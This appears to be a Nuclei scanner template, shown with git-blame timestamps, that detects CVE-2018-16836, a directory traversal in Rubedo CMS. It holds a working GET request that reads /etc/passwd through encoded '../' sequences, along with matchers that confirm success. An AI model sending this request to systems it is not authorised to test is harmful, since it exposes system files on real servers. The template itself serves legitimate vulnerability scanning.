2021-09-21 10:50:24 +00:00
id : CVE-2018-16836
2021-06-10 10:08:37 +00:00
info :
2022-05-13 20:26:43 +00:00
name : Rubedo CMS <=3.4.0 - Directory Traversal
2021-06-10 10:08:37 +00:00
author : 0x_Akoko
2021-09-22 10:21:33 +00:00
severity : critical
2022-05-13 20:26:43 +00:00
description : Rubedo CMS through 3.4.0 contains a directory traversal vulnerability in the theme component, allowing unauthenticated attackers to read and execute arbitrary files outside of the service root path, as demonstrated by a /theme/default/img/%2e%2e/..//etc/passwd URI.
2023-09-27 15:51:13 +00:00
impact : |
An attacker can exploit this vulnerability to read arbitrary files on the server.
2023-09-06 12:57:14 +00:00
remediation : |
Upgrade to a patched version of Rubedo CMS (>=3.4.1) or apply the provided security patch.
2022-04-22 10:38:41 +00:00
reference :
- https://www.exploit-db.com/exploits/45385
2022-05-13 20:26:43 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2018-16836
2022-05-17 09:18:12 +00:00
- https://github.com/maroueneboubakri/CVE/tree/master/rubedo-cms
- https://www.exploit-db.com/exploits/45385/
2024-01-29 17:11:14 +00:00
- https://github.com/ARPSyndicate/kenzer-templates
2021-09-22 10:21:33 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
2022-04-22 10:38:41 +00:00
cvss-score : 9.8
2021-09-22 10:21:33 +00:00
cve-id : CVE-2018-16836
cwe-id : CWE-22
2023-10-29 11:57:59 +00:00
epss-score : 0.29944
2024-01-29 17:11:14 +00:00
epss-percentile : 0.96512
2023-09-06 12:57:14 +00:00
cpe : cpe:2.3:a:rubedo_project:rubedo:*:*:*:*:*:*:*:*
2023-04-28 08:11:21 +00:00
metadata :
max-request : 1
2023-07-11 19:49:27 +00:00
vendor : rubedo_project
product : rubedo
2024-01-14 09:21:50 +00:00
tags : cve2018,cve,rubedo,lfi,edb,rubedo_project
2021-06-10 10:08:37 +00:00
2023-04-27 04:28:59 +00:00
http :
2021-06-10 10:08:37 +00:00
- method : GET
path :
- "{{BaseURL}}/theme/default/img/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e//etc/passwd"
matchers-condition : and
matchers :
- type : regex
regex :
2022-03-22 08:01:31 +00:00
- "root:.*:0:0:"
2021-06-10 10:08:37 +00:00
- type : status
status :
- 200
2024-01-30 06:46:18 +00:00
# digest: 4b0a00483046022100ef3314056315e4aea16821be90bbddd3d6ed1139c73b31e8058bd84616f7a331022100c40f899c17ef92a18a84ccbfb0abf11dfadcaf83097c6d487b92ece5463d9dbc:922c64590222798bb761d5b6d8e72950